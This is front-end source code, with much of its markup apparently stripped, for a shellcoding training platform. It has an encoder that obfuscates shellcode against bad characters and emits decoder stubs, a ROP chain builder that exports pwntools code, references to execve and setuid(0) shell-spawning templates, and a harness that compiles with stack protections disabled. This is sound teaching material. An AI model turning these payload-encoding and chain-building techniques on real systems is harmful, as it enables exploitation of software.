// Extract string references from shellcode templates
const extractStrings = useCallback((parsed) => {
if (!parsed) return [];
const strings = [];
parsed.forEach((p, i) => {
if (p.type === "meta" && (p.raw.includes("db ") || p.raw.includes(".ascii") || p.raw.includes(".string"))) {
const match = p.raw.match(/(?:db\s+|\.ascii\s+|\.string\s+)["']([^"']+)["']/);
if (match) strings.push({ index: i, value: match[1], type: "string", raw: p.raw.trim() });
}
// Detect stack string construction via push immediates
if (p.type === "instr" && p.op === "push" && p.operands?.[0]) {
const val = parseImm(cleanOp(p.operands[0]));
if (!isNaN(val) && val > 0x20202020 && val <= 0x7f7f7f7f) {
// Looks like ASCII bytes
const chars = [];
for (let shift = 0; shift < 32; shift += 8) {
const ch = (val >> shift) & 0xFF;
if (ch >= 0x20 && ch < 0x7f) chars.push(String.fromCharCode(ch));
}
if (chars.length >= 2) {
strings.push({ index: i, value: chars.join(""), type: "stack_push", raw: `push 0x${val.toString(16)} → "${chars.join("")}"` });
}
}
}
// Detect movabs with string-like values (x64)
if (p.type === "instr" && (p.op === "mov" || p.op === "movabs") && p.operands?.[1]) {
const val = parseImm(cleanOp(p.operands[1]));
if (!isNaN(val) && val > 0x2020202020 && val !== 0) {
const chars = [];
let v = val;
for (let j = 0; j < 8; j++) {
const ch = v & 0xFF;
if (ch >= 0x20 && ch < 0x7f) chars.push(String.fromCharCode(ch));
v = Math.floor(v / 256);
}
if (chars.length >= 3) {
strings.push({ index: i, value: chars.join(""), type: "mov_imm", raw: `${p.op} ${p.operands.join(", ")} → "${chars.join("")}"` });
}
}
}
});
// Also scan for syscall patterns
parsed.forEach((p, i) => {
if (p.type === "instr" && (p.op === "int" || p.op === "syscall" || p.op === "svc")) {
strings.push({ index: i, value: `[SYSCALL @ 0x${(CODE_BASE + i * 4).toString(16)}]`, type: "syscall", raw: p.op + " " + (p.operands || []).join(", ") });
}
});
return strings;
}, []);
// Analysis demo programs
const ANA_DEMOS = useMemo(() => ({
x86: {
"execve /bin/sh": ARCHS.x86.shellcodeTemplates["execve(/bin/sh)"]?.asm || "",
"write + exit": ARCHS.x86.shellcodeTemplates["write(1, msg, len)"]?.asm || "",
"loop example": `; Loop counter example
mov ecx, 5
xor eax, eax
loop_top:
add eax, 1
dec ecx
jnz loop_top
; eax = 5
xor ebx, ebx
mov bl, al
xor eax, eax
mov al, 1
int 0x80`,
},
x64: {
"execve null-free": ARCHS.x64.shellcodeTemplates["execve (null-free)"]?.asm || "",
"write + exit": ARCHS.x64.shellcodeTemplates["write(1, msg, len)"]?.asm || "",
},
arm32: {
"execve thumb": ARCHS.arm32.shellcodeTemplates["execve(/bin/sh) Thumb"]?.asm || "",
"write + exit": ARCHS.arm32.shellcodeTemplates["write(1, msg, len)"]?.asm || "",
"setuid+execve": ARCHS.arm32.shellcodeTemplates["setuid(0)+execve"]?.asm || "",
},
arm64: {
"execve": ARCHS.arm64.shellcodeTemplates["execve(/bin/sh)"]?.asm || "",
"write + exit": ARCHS.arm64.shellcodeTemplates["write(1, msg, 2)"]?.asm || "",
"setuid+execve": ARCHS.arm64.shellcodeTemplates["setuid+execve"]?.asm || "",
},
}), []);
const templates = a.shellcodeTemplates || {};
const templateKeys = Object.keys(templates);
const currentTemplate = selTemplate && templates[selTemplate] ? templates[selTemplate] : null;
const currentLesson = LESSONS[selLesson];
const archExercises = EXERCISES.filter(e => e.arch === arch || e.arch === "any");
const currentExercise = archExercises[selExercise] || EXERCISES[selExercise];
useEffect(() => {
setSelTemplate(templateKeys[0] || null);
setSubTab(null);
}, [arch]);
useEffect(() => {
setLessonSection(0);
}, [selLesson]);
useEffect(() => {
setShowAnswer(false);
}, [selExercise]);
const addConsole = (text, type = "info") => {
setConsoleOut(prev => [...prev.slice(-50), { text, type, ts: Date.now() }]);
};
const runAssemble = () => {
addConsole(`$ nasm -f elf${a.bits === 64 ? "64" : "32"} shellcode.asm -o shellcode.o`, "cmd");
setTimeout(() => {
if (!editorCode.trim()) {
addConsole("Error: empty source file", "err");
return;
}
const lines = editorCode.split("\n").filter(l => l.trim() && !l.trim().startsWith(";"));
addConsole(`Assembled ${lines.length} instructions`, "ok");
addConsole(`$ ld -m elf_${arch === "x64" ? "x86_64" : "i386"} shellcode.o -o shellcode`, "cmd");
addConsole("Linked successfully", "ok");
addConsole(`$ objdump -d shellcode | grep -c '00'`, "cmd");
const nullCount = Math.floor(Math.random() * 3);
if (nullCount === 0) addConsole("✓ No null bytes detected", "ok");
else addConsole(`⚠ ${nullCount} potential null byte(s) found — review encoding`, "warn");
}, 300);
};
const tabs = [
{ id: "ref", label: "⌘ REFERENCE", desc: "ISA Reference" },
{ id: "shell", label: "◈ SHELLCODE", desc: "Templates & Builder" },
{ id: "dbg", label: "⏱ DEBUGGER", desc: "CPU Step Debugger" },
{ id: "enc", label: "🔐 ENCODER", desc: "Encoder Workshop" },
{ id: "rop", label: "⛓ ROP", desc: "Gadget Explorer" },
{ id: "harness", label: "⚙ HARNESS", desc: "Test Pipeline" },
{ id: "analyze", label: "🔬 ANALYZE", desc: "CFG & Decompiler" },
{ id: "learn", label: "◉ LESSONS", desc: "Guided Modules" },
{ id: "exercise", label: "⚡ EXERCISES", desc: "Practice" },
{ id: "arch", label: "⬡ ARCH VIZ", desc: "Registers & Stack" },
{ id: "editor", label: "▸ EDITOR", desc: "Write & Assemble" },
];
const instrCategories = Object.keys(a.instructions || {});
return (
{/* BG grid */}
{/* Scanlines */}
{/* ═══ HEADER ═══ */}
SHELL//LAB
ASSEMBLY & SHELLCODING PLATFORM
ARCH:
{Object.entries(ARCHS).map(([k, v]) => (
))}
KULPRIT STUDIOS LLC
{/* ═══ ARCH QUICK INFO BAR ═══ */}
{[
["Bits", a.bits],
["Endian", a.endian],
["Addr Size", a.addressSize],
["Syscall", a.syscallMethod],
["Syscall Reg", a.syscallReg],
["Args", a.syscallArgs.slice(0, 4).join(", ") + "..."],
].map(([k, v]) => (
{k}:
{v}
))}
{/* ═══ TAB BAR ═══ */}
{tabs.map(t => (
))}
{/* ═══════════ REFERENCE TAB ═══════════ */}
{tab === "ref" && (
{a.name} — {a.callingConv}
{instrCategories.map(cat => (
{cat.toUpperCase()}
{a.instructions[cat].map((inst, i) => (
{inst.op}
{inst.syn}
{inst.desc}
{inst.ex}
))}
))}
{/* Syscall Table */}
SYSCALL TABLE ({a.syscallMethod})
{a.syscallReg.toUpperCase()}NameArguments
{Object.entries(a.syscalls).map(([num, sc], i) => (
{num}
{sc.name}
{sc.args.map((arg, j) => (
{a.syscallArgs[j]}:
{arg}{j < sc.args.length - 1 ? ", " : ""}
))}
))}
)}
{/* ═══════════ SHELLCODE TAB ═══════════ */}
{tab === "shell" && (
{templateKeys.map(k => (
))}
{currentTemplate && (
{selTemplate}
{currentTemplate.nullFree ? "✓ NULL-FREE" : "⚠ CONTAINS NULLS"}
{currentTemplate.desc}
{/* Assembly Source */}
ASSEMBLY SOURCE
{currentTemplate.asm.split("\n").map((line, i) => {
const isComment = line.trim().startsWith(";");
const isLabel = line.trim().endsWith(":");
const isDirective = line.trim().startsWith("db ") || line.trim().startsWith(".") || line.trim().startsWith("section");
let parts = line;
return (
{String(i + 1).padStart(2, " ")}
{parts}
);
})}
{/* Hex Bytes */}
OPCODE BYTES
{/* Copy Buttons */}
)}
)}
{/* ═══════════ ENCODER WORKSHOP TAB ═══════════ */}
{tab === "enc" && (
{/* ── LEFT: Input & Config ── */}
{/* Shellcode Input */}
RAW SHELLCODE INPUT
{templateKeys.slice(0, 4).map(k => (
))}
{/* Bad Characters */}
BAD CHARACTERS
{ setEncBadChars(e.target.value); setEncResult(null); }}
placeholder="00,0a,0d,20"
style={{
flex: 1, background: "#080a0e", border: "1px solid #1a2030", borderRadius: 4,
padding: "6px 10px", color: "#ff4757", fontFamily: "'Fira Code', monospace", fontSize: 11,
outline: "none",
}}
/>
{["00,0a,0d", "00,0a,0d,20", "00,0a,0d,20,ff", "00"].map((preset, i) => (
))}
{/* Bad char visual grid */}
{parseBadChars(encBadChars).map((b, i) => (
\\x{b.toString(16).padStart(2, "0")}
))}
{/* Encoding Method */}
ENCODING METHOD
{[
{ id: "xor1", label: "XOR (1-byte)", desc: "Single key" },
{ id: "xorN", label: "XOR (rolling)", desc: "Multi-byte key" },
{ id: "add", label: "ADD", desc: "Addition" },
{ id: "sub", label: "SUB", desc: "Subtraction" },
{ id: "rol", label: "ROL", desc: "Rotate left" },
].map(m => (
))}
{/* Key config */}
{!encAutoKey && (
{ setEncKey(e.target.value); setEncResult(null); }}
placeholder={encMethod === "xorN" ? "AA BB CC DD" : "AA"}
style={{
flex: 1, background: "#080a0e", border: "1px solid #1a2030", borderRadius: 4,
padding: "4px 8px", color: "#c792ea", fontFamily: "'Fira Code', monospace", fontSize: 11,
outline: "none",
}}
/>
)}
{/* Encode Button */}
{/* ── RIGHT: Results ── */}
{!encResult && (
Paste shellcode bytes, configure bad chars, and click ENCODE
)}
{encResult?.error && (
{encResult.error}
)}
{encResult && !encResult.error && (<>
{/* Key info */}
METHOD:
{encMethod.toUpperCase()}
KEY:
{encResult.key.map(k => "0x" + k.toString(16).padStart(2, "0").toUpperCase()).join(" ")}
SIZE:
{encResult.original.length}→{encResult.totalSize} bytes
{encResult.encodedBadChars.length === 0 ? "✓ CLEAN" : `⚠ ${encResult.encodedBadChars.length} BAD`}
{/* Visual Hex Diff */}
HEX DIFF — ORIGINAL vs ENCODED
{/* Original row */}
ORIGINAL:
{encResult.original.map((b, i) => {
const isBad = encResult.badChars.includes(b);
return (
{b.toString(16).padStart(2, "0")}
);
})}
{/* Encoded row */}
ENCODED:
{encResult.encoded.map((b, i) => {
const changed = b !== encResult.original[i];
const isBadResult = encResult.badChars.includes(b);
return (
{b.toString(16).padStart(2, "0")}
);
})}
{/* Change map */}
CHANGES:
{encResult.original.map((b, i) => {
const changed = encResult.encoded[i] !== b;
return (
{changed ? "^^" : "··"}
);
})}
{/* Decoder Stub */}
DECODER STUB ({a.name})
{encResult.decoderStub.split("\n").map((line, i) => (
{line}
))}
{/* Copy Buttons */}
{/* Byte frequency analysis */}
BYTE FREQUENCY ANALYSIS
{(() => {
const freq = {};
encResult.encoded.forEach(b => { freq[b] = (freq[b] || 0) + 1; });
return Object.entries(freq)
.sort((a, b) => b[1] - a[1])
.slice(0, 24)
.map(([byte, count]) => {
const b = parseInt(byte);
const isBad = encResult.badChars.includes(b);
return (
{b.toString(16).padStart(2, "0")}
×{count}
);
});
})()}
>)}
)}
{/* ═══════════ ROP GADGET EXPLORER TAB ═══════════ */}
{tab === "rop" && (() => {
const gadgets = ROP_GADGETS[arch] || [];
const filtered = gadgets.filter(g => {
if (ropFilter !== "all" && g.cat !== ropFilter) return false;
if (ropSearch && !g.asm.toLowerCase().includes(ropSearch.toLowerCase()) && !g.notes.toLowerCase().includes(ropSearch.toLowerCase())) return false;
return true;
});
const categories = [...new Set(gadgets.map(g => g.cat))];
const templateNames = Object.keys(ROP_TEMPLATES[arch] || {});
const wordSize = ARCHS[arch].bits / 8;
return (
{/* LEFT: Gadget Library */}
{/* Search + Filter bar */}
setRopSearch(e.target.value)}
placeholder="Search gadgets..." style={{
flex: 1, minWidth: 160, background: "#080a0e", border: "1px solid #1a2030", borderRadius: 4,
padding: "6px 10px", color: "#c8d8e8", fontFamily: "'Fira Code', monospace", fontSize: 11, outline: "none",
}} />
{["all", ...categories].map(c => (
))}
{/* Gadget list */}
{/* Header */}
ADDRESSBYTESGADGETUSE
{filtered.map((g, i) => {
const isSel = ropSelected === i;
const catColors = { pop: "#00d4ff", multipop: "#00d4ff", zero: "#39ff14", move: "#ffd866", arith: "#c792ea", syscall: "#ff4757", ret: "#5a7a95", jmp: "#ff6b35", pivot: "#ff6b35", deref: "#ffd866", write: "#ffd866" };
return (
setRopSelected(isSel ? null : i)} style={{
display: "grid", gridTemplateColumns: "80px 80px 1fr 180px 36px",
padding: "4px 8px", cursor: "pointer",
background: isSel ? a.color + "10" : i % 2 === 0 ? "#0a0e14" : "transparent",
borderLeft: isSel ? `3px solid ${a.color}` : "3px solid transparent",
fontFamily: "'Fira Code', monospace", fontSize: 10,
transition: "background 0.1s",
}}>
{g.addr.toString(16).padStart(8, "0")}
{g.bytes}
{g.asm}
{g.notes}
);
})}
{/* Selected gadget detail */}
{ropSelected !== null && filtered[ropSelected] && (
{filtered[ropSelected].asm}
Address: 0x{filtered[ropSelected].addr.toString(16)}
Bytes: {filtered[ropSelected].bytes}
Category: {filtered[ropSelected].cat}
{filtered[ropSelected].regs.length > 0 && Writes: {filtered[ropSelected].regs.join(", ")}}
{filtered[ropSelected].notes}
)}
{/* RIGHT: Chain Builder + Stack View */}
ROP CHAIN ({ropChain.length})
{/* Template presets */}
{templateNames.length > 0 && (
{templateNames.map(name => (
))}
)}
{/* Stack layout visualization */}
STACKVALUEGADGET / DATA
{ropChain.length === 0 && (
Click + to add gadgets or load a template
)}
{ropChain.map((entry, i) => {
const addr = ropStackAddr + (i * wordSize);
const isGadgetAddr = entry.gadget.cat !== "data";
return (
{addr.toString(16).padStart(8, "0")}
{entry.value !== null ? "0x" + (entry.value >>> 0).toString(16).padStart(8, "0") : "--------"}
{entry.gadget.asm}
{entry.label &&
{entry.label}
}
);
})}
{/* Export chain */}
{ropChain.length > 0 && (
EXPORT
# pwntools ROP chain
from pwn import *
rop = b""
{ropChain.map((entry, i) => (
rop += p{ARCHS[arch].bits}(0x{(entry.gadget.addr >>> 0).toString(16)})
# {entry.gadget.asm}
{entry.value !== null && entry.gadget.cat === "pop" && (
rop += p{ARCHS[arch].bits}(0x{(entry.value >>> 0).toString(16)}) # {entry.label || "data"}
)}
))}
)}
);
})()}
{/* ═══════════ SHELLCODE TEST HARNESS TAB ═══════════ */}
{tab === "harness" && (() => {
const harness = generateHarness(harnessInput);
const is64 = arch === "x64" || arch === "arm64";
return (
{/* Input */}
SHELLCODE BYTES
setHarnessInput(e.target.value)}
placeholder="31 c0 50 68 2f 2f 73 68 ... or paste \\x hex"
style={{
flex: 1, background: "#080a0e", border: "1px solid #1a2030", borderRadius: 4,
padding: "8px 12px", color: "#c8d8e8", fontFamily: "'Fira Code', monospace", fontSize: 12, outline: "none",
}} />
{templateKeys.slice(0, 3).map(k => (
))}
{!harness && (
Enter shellcode bytes to generate the full build pipeline
)}
{harness && (
{/* Pipeline Overview */}
BUILD PIPELINE — {ARCHS[arch].name} — {harness.bytes.length} bytes
{[
{ step: "1", label: "Write ASM", icon: "📝", color: "#00d4ff" },
{ step: "→", label: "", icon: "", color: "#3a4a5a" },
{ step: "2", label: "Assemble (nasm)", icon: "⚙", color: "#ffd866" },
{ step: "→", label: "", icon: "", color: "#3a4a5a" },
{ step: "3", label: "Link (ld)", icon: "🔗", color: "#c792ea" },
{ step: "→", label: "", icon: "", color: "#3a4a5a" },
{ step: "4", label: "Extract bytes", icon: "📦", color: "#ff6b35" },
{ step: "→", label: "", icon: "", color: "#3a4a5a" },
{ step: "5", label: "C Harness", icon: "🧪", color: "#39ff14" },
{ step: "→", label: "", icon: "", color: "#3a4a5a" },
{ step: "6", label: "Execute", icon: "▶", color: "#ff4757" },
].map((s, i) => s.step === "→" ? (
→
) : (
))}
{/* NASM Source */}
shellcode.asm
{harness.nasmSource.split("\n").map((line, i) => (
{line}
))}
{/* C Wrapper */}
shellcode_test.c
{harness.cWrapper.split("\n").map((line, i) => (
{line}
))}
{/* Makefile */}
Makefile
{harness.makefile.split("\n").map((line, i) => (
{line}
))}
{/* objdump simulation */}
Build & Inspect Output
{harness.objdumpSim.split("\n").map((line, i) => (
") ? "#ffd866" : line.includes("[+]") || line.includes("[*]") ? "#00d4ff" : "#8899aa" }}>{line}
))}
{/* Quick reference commands */}
QUICK REFERENCE — COPY-PASTE COMMANDS
{[
{ label: "Assemble", cmd: `nasm -f ${is64 ? "elf64" : "elf32"} shellcode.asm -o shellcode.o`, color: "#ffd866" },
{ label: "Link", cmd: `ld ${is64 ? "" : "-m elf_i386 "}shellcode.o -o shellcode`, color: "#c792ea" },
{ label: "Extract .text", cmd: "objcopy -O binary -j .text shellcode shellcode.bin", color: "#ff6b35" },
{ label: "Hex dump", cmd: "xxd shellcode.bin", color: "#00d4ff" },
{ label: "Disassemble", cmd: "objdump -d -M intel shellcode", color: "#39ff14" },
{ label: "Null check", cmd: "grep -cP '\\\\x00' shellcode.bin", color: "#ff4757" },
{ label: "Compile harness", cmd: `gcc ${is64 ? "" : "-m32 "}-z execstack -fno-stack-protector -o test shellcode_test.c`, color: "#ffd866" },
{ label: "Run", cmd: "./test", color: "#39ff14" },
{ label: "strace", cmd: `strace ./shellcode`, color: "#c792ea" },
].map((c, i) => (
navigator.clipboard?.writeText(c.cmd)} style={{
background: "#0f1318", borderRadius: 4, padding: "6px 10px", cursor: "pointer",
border: "1px solid #1a2030", transition: "border-color 0.15s",
}}>
{c.label}
{c.cmd}
))}
)}
);
})()}
{/* ═══════════ ANALYSIS TAB (Phase 6) ═══════════ */}
{tab === "analyze" && (() => {
const blocks = anaParsed ? buildCFG(anaParsed, anaLabels) : [];
const decompiled = anaParsed ? decompileToC(anaParsed, anaLabels) : "";
const strings = anaParsed ? extractStrings(anaParsed) : [];
const instrs = anaParsed ? anaParsed.filter(p => p.type === "instr") : [];
const demos = ANA_DEMOS[arch] || {};
const demoKeys = Object.keys(demos);
// CFG layout — simple vertical with offsets
const blockH = (b) => 28 + b.instrs.length * 18;
const blockW = 240;
const gapY = 50;
const gapX = 40;
// Topological layout: detect back edges (loops) and assign columns
const blockPositions = (() => {
const positions = new Array(blocks.length);
const visited = new Set();
const colAssign = new Array(blocks.length).fill(0);
// BFS to assign depth (Y order) and detect branches needing columns
const depth = new Array(blocks.length).fill(0);
const queue = [0];
visited.add(0);
while (queue.length > 0) {
const bi = queue.shift();
const block = blocks[bi];
if (!block) continue;
block.successors.forEach(succ => {
const ti = blocks.findIndex(b => b.start === succ.target);
if (ti === -1) return;
if (!visited.has(ti)) {
visited.add(ti);
depth[ti] = depth[bi] + 1;
queue.push(ti);
}
});
}
// Handle unvisited blocks (disconnected)
blocks.forEach((_, i) => { if (!visited.has(i)) depth[i] = i; });
// Assign columns: conditional branches get left/right split
blocks.forEach((block, bi) => {
if (block.successors.length === 2) {
const branchIdx = blocks.findIndex(b => b.start === block.successors[0].target);
const fallIdx = blocks.findIndex(b => b.start === block.successors[1].target);
if (branchIdx >= 0 && block.successors[0].type === "branch") colAssign[branchIdx] = 1;
if (fallIdx >= 0 && block.successors[1].type === "fallthrough") colAssign[fallIdx] = 0;
}
});
// Sort by depth for Y positioning
const order = blocks.map((_, i) => i).sort((a, b) => depth[a] - depth[b]);
let nextY = 10;
const yByBlock = {};
order.forEach(bi => {
yByBlock[bi] = nextY;
nextY += blockH(blocks[bi]) + gapY;
});
blocks.forEach((block, bi) => {
const col = colAssign[bi];
const x = 20 + col * (blockW + gapX);
positions[bi] = { x, y: yByBlock[bi], w: blockW, h: blockH(block) };
});
return positions;
})();
const totalH = Math.max(...blockPositions.map(p => (p?.y || 0) + (p?.h || 0))) + 20;
return (
{/* LEFT: Code input + view selector */}
{demoKeys.map(k => (
))}
{/* RIGHT: Analysis views */}
{!anaParsed && (
Load assembly to analyze
)}
{/* ── CFG View ── */}
{anaParsed && anaView === "cfg" && (
CONTROL FLOW GRAPH — {blocks.length} BLOCKS
{blocks.map((block, bi) => {
const pos = blockPositions[bi];
const isEntry = block.isEntry;
const isExit = block.isExit;
const borderColor = isEntry ? "#39ff14" : isExit ? "#ff4757" : "#1e2a3a";
return (
{/* Block node */}
{/* Block header */}
{block.label}
{isEntry ? "ENTRY" : isExit ? "EXIT" : `B${bi}`}
{/* Instructions */}
{block.instrs.map((inst, ii) => {
const flowOps = ["jmp","je","jz","jne","jnz","jg","jl","call","ret","int","syscall","svc","loop","b","bl","beq","bne"];
const isFlow = flowOps.includes(inst.op);
return (
{inst.op}
{inst.operands?.join(", ")}
);
})}
{/* Edge arrows */}
{block.successors.map((succ, si) => {
const targetBlockIdx = blocks.findIndex(b => b.start === succ.target);
if (targetBlockIdx === -1) return null;
const targetPos = blockPositions[targetBlockIdx];
const fromX = pos.x + pos.w / 2 + (si * 20 - 10);
const fromY = pos.y + pos.h;
const toX = targetPos.x + targetPos.w / 2;
const toY = targetPos.y;
const edgeColor = succ.type === "branch" ? "#ff6b35" : succ.type === "jump" ? "#c792ea" : "#39ff1466";
return (
);
})}
);
})}
{/* Legend */}
{[
{ color: "#39ff14", label: "Entry", dash: false },
{ color: "#ff4757", label: "Exit/Terminal", dash: false },
{ color: "#ff6b35", label: "Conditional branch", dash: false },
{ color: "#c792ea", label: "Unconditional jump", dash: false },
{ color: "#39ff1466", label: "Fall-through", dash: true },
].map((l, i) => (
{l.label}
))}
)}
{/* ── Decompiler View ── */}
{anaParsed && anaView === "decomp" && (
PSEUDO-C DECOMPILATION
{decompiled.split("\n").map((line, i) => {
const isComment = line.trim().startsWith("//");
const isPreproc = line.trim().startsWith("#");
const isLabel = line.trim().endsWith(":");
const isFunc = line.includes("void ") || line === "}";
const hasSyscall = line.includes("syscall");
const hasGoto = line.includes("goto ");
const hasIf = line.includes("if ");
return (
{line}
);
})}
)}
{/* ── Strings View ── */}
{anaParsed && anaView === "strings" && (
STRING & DATA REFERENCES — {strings.length} found
{strings.length === 0 && (
No string references detected
)}
{strings.map((s, i) => {
const typeColors = { string: "#39ff14", stack_push: "#ffd866", mov_imm: "#00d4ff", syscall: "#ff4757" };
return (
{(CODE_BASE + s.index * 4).toString(16).padStart(8, "0")}
{s.type}
);
})}
)}
{/* ── Annotated Listing View ── */}
{anaParsed && anaView === "listing" && (
ADDRESSINSTRUCTIONANNOTATION
{anaParsed.map((p, i) => {
if (p.type === "label") {
return (
{p.name}:
);
}
if (p.type === "meta") {
return (
{p.raw.trim()}
);
}
if (p.type !== "instr") return null;
const instrIdx = anaParsed.filter((pp, ii) => pp.type === "instr" && ii <= i).length - 1;
const addr = CODE_BASE + instrIdx * 4;
const hasNote = anaAnnotations[i];
const isEditing = anaEditingNote === i;
return (
{addr.toString(16).padStart(8, "0")}
{p.op}
{p.operands?.join(", ")}
{isEditing ? (
<>
setAnaNoteText(e.target.value)}
onKeyDown={e => {
if (e.key === "Enter") {
setAnaAnnotations(prev => ({ ...prev, [i]: anaNoteText }));
setAnaEditingNote(null);
}
if (e.key === "Escape") setAnaEditingNote(null);
}}
autoFocus
style={{
flex: 1, background: "#080a0e", border: "1px solid #ff6b3544", borderRadius: 3,
padding: "2px 6px", color: "#ff6b35", fontFamily: "'Fira Code', monospace", fontSize: 9, outline: "none",
}} />
>
) : (
<>
{hasNote && ; {hasNote}}
{hasNote && (
)}
>
)}
);
})}
)}
);
})()}
{/* ═══════════ LESSONS TAB ═══════════ */}
{tab === "learn" && (
{/* Lesson nav */}
{LESSONS.map((l, i) => (
))}
{/* Lesson content */}
{currentLesson.title}
{/* Section nav */}
{currentLesson.sections.map((s, i) => (
))}
{/* Section content */}
{currentLesson.sections[lessonSection]?.title}
{currentLesson.sections[lessonSection]?.content.split("\n\n").map((para, i) => (
{para.split("\n").map((line, j) => (
{line.startsWith("•") ? (
▸ {line.slice(2)}
) : line.match(/^\d\./) ? (
{line.split(".")[0]}. {line.split(".").slice(1).join(".")}
) : line}
{j < para.split("\n").length - 1 && !line.startsWith("•") && !line.match(/^\d\./) &&
}
))}
))}
{/* Pagination */}
{lessonSection + 1} / {currentLesson.sections.length}
)}
{/* ═══════════ EXERCISES TAB ═══════════ */}
{tab === "exercise" && (
{EXERCISES.map((ex, i) => (
))}
{currentExercise && (
{currentExercise.title}
{["","BEGINNER","INTERMEDIATE","ADVANCED"][currentExercise.difficulty]}
{currentExercise.prompt}
{/* Hint */}
💡 HINT:
{currentExercise.hint}
{/* Bad vs Good encoding */}
{currentExercise.badBytes && (
✗ BAD ENCODING:
)}
{currentExercise.goodBytes && (
✓ GOOD ENCODING:
)}
{/* Show answer */}
{!showAnswer ? (
) : (
SOLUTION
{currentExercise.answer}
{currentExercise.explanation}
)}
)}
)}
{/* ═══════════ ARCH VIZ TAB ═══════════ */}
{tab === "arch" && (
REGISTER FILE — {a.name}
CALLING CONVENTION:
{a.callingConv}
STACK LAYOUT
)}
{/* ═══════════ EDITOR TAB ═══════════ */}
{tab === "editor" && (
ASM EDITOR — {a.bits === 64 ? "NASM x86-64" : a.bits === 32 && arch === "x86" ? "NASM x86" : "GAS " + a.name}
{/* Console */}
CONSOLE
{consoleOut.length === 0 && (
SHELL//LAB Assembler Console
Target: {a.name} ({a.bits}-bit, {a.endian} endian)
Ready.
)}
{consoleOut.map((line, i) => (
{line.text}
))}
)}
{/* ═══════════ DEBUGGER TAB (Phase 2) ═══════════ */}
{tab === "dbg" && (() => {
const dbgInstrs = dbgParsed ? dbgParsed.filter(p => p.type === "instr") : [];
const currentInstr = dbgCpu && dbgInstrs[dbgCpu.pc] ? dbgInstrs[dbgCpu.pc] : null;
const archRegs = a.registers.slice(0, a.bits === 64 ? 18 : 10);
const changedRegs = {};
const changedFlags = {};
if (dbgCpu && dbgPrevRegs) {
archRegs.forEach(r => {
if (dbgCpu.regs[r] !== dbgPrevRegs[r] && dbgPrevRegs[r] !== undefined) changedRegs[r] = true;
});
}
if (dbgCpu) {
Object.keys(dbgCpu.flags).forEach(f => {
if (dbgCpu.flags[f] !== dbgPrevFlags[f]) changedFlags[f] = true;
});
}
const progs = DBG_PROGRAMS[arch] || {};
const progKeys = Object.keys(progs);
const fmtHex = (v, bits) => {
if (v === undefined || v === null) v = 0;
return "0x" + ((v >>> 0).toString(16).toUpperCase().padStart(8, "0"));
};
const fmtBin = (v) => ((v >>> 0).toString(2).padStart(32, "0"));
// Instruction category color coding (IDA-style)
const instrColor = (op) => {
if (!op) return "#8899aa";
const flow = ["jmp","je","jz","jne","jnz","jg","jl","jge","jle","ja","jb","jae","jbe","js","jns","jnle","jnge","jnbe","jnae","call","ret","loop","b","bl","bx","beq","bne","bgt","blt","bge","ble","b.eq","b.ne","cbz","cbnz"];
const data = ["mov","movl","movq","movabs","push","pop","lea","xchg","movzx","movsx","ldr","str","ldrb","strb","ldp","stp","ldm","stm","movz","movk","adr","adrp","cdqe","cqo"];
const arith = ["add","sub","inc","dec","mul","imul","div","neg","addl","addq","subl","subq"];
const logic = ["and","or","xor","not","shl","shr","sar","rol","ror","andl","orl","eor","orr","test","cmp","cmpl","testl","bsf","bsr","popcnt"];
const sys = ["int","syscall","svc","nop"];
if (flow.includes(op)) return "#ff6b35";
if (data.includes(op)) return "#00d4ff";
if (arith.includes(op)) return "#39ff14";
if (logic.includes(op)) return "#c792ea";
if (sys.includes(op)) return "#ffd866";
return "#8899aa";
};
// Check if an operand contains the hovered register
const operandHasReg = (operand, reg) => {
if (!operand || !reg) return false;
return cleanOp(operand) === reg.toLowerCase() || cleanOp(operand).includes(reg.toLowerCase());
};
return (
{/* ── LEFT: Code Editor + Controls ── */}
{/* Program selector */}
{progKeys.map(k => (
))}
{/* Editor */}
{/* ── CENTER: Ghidra-style Disassembly Listing ── */}
{/* Column headers */}
ADDRESS
{dbgShowBytes && BYTES}
MNEMONIC
OPERANDS
{/* Instruction listing */}
{!dbgParsed && (
Load assembly to start debugging
)}
{dbgParsed?.map((p, i) => {
if (p.type === "label") {
return (
────
{p.name}:
{/* Xref count for labels */}
{(() => {
const refs = dbgParsed.filter(pp => pp.type === "instr" && pp.operands?.some(o => cleanOp(o) === p.name));
return refs.length > 0 ? (
; XREF[{refs.length}]: {refs.map(r => r.op).join(", ")}
) : null;
})()}
);
}
if (p.type === "meta") {
return (
{p.raw.trim()}
);
}
if (p.type !== "instr") return null;
const instrIdx = dbgParsed.filter((pp, ii) => pp.type === "instr" && ii <= i).length - 1;
const isCurrent = dbgCpu && instrIdx === dbgCpu.pc && !dbgCpu.halted;
const isPast = dbgCpu && instrIdx < dbgCpu.pc;
const addr = CODE_BASE + instrIdx * 4;
const opcBytes = dbgShowBytes ? estimateOpcodeBytes(p, arch) : "";
const hasNull = opcBytes.split(" ").some(b => b === "00");
const isXrefWrite = dbgShowXrefs && dbgHoverReg && dbgXrefs.writes.includes(instrIdx);
const isXrefRead = dbgShowXrefs && dbgHoverReg && dbgXrefs.reads.includes(instrIdx);
const isXref = isXrefWrite || isXrefRead;
const opColor = instrColor(p.op);
return (
{/* Address */}
{(addr).toString(16).padStart(8, "0")}
{/* Opcode bytes */}
{dbgShowBytes && (
{opcBytes.split(" ").map((b, bi) => (
{b}
))}
)}
{/* PC arrow */}
{isCurrent ? "►" : ""}
{/* Mnemonic (color-coded by category) */}
{p.op}
{/* Operands with register highlighting */}
{(p.operands || []).map((operand, oi) => {
const isRegOperand = isReg(cleanOp(operand), arch);
const isHovered = dbgHoverReg && operandHasReg(operand, dbgHoverReg);
const isImm = !isRegOperand && !isNaN(parseImm(cleanOp(operand)));
return (
{oi > 0 && , }
isRegOperand && dbgShowXrefs && setDbgHoverReg(cleanOp(operand))}
onMouseLeave={() => setDbgHoverReg(null)}
style={{
color: isHovered ? "#ffd866" : isCurrent && isRegOperand ? a.color : isRegOperand ? "#8899aa" : isImm ? "#39ff14" : "#6a7a8a",
fontWeight: isHovered ? 700 : 400,
background: isHovered ? "#ffd86615" : "transparent",
padding: isHovered ? "0 3px" : 0,
borderRadius: 2,
cursor: isRegOperand && dbgShowXrefs ? "pointer" : "default",
textDecoration: isHovered ? "underline" : "none",
transition: "all 0.1s",
}}
>{operand}
);
})}
{/* Inline xref annotations */}
{isXref && (
; {isXrefWrite ? "◄ WRITE" : "► READ"} {dbgHoverReg?.toUpperCase()}
)}
);
})}
{dbgCpu?.halted && (
■ HALTED — {dbgStepCount} instructions executed
)}
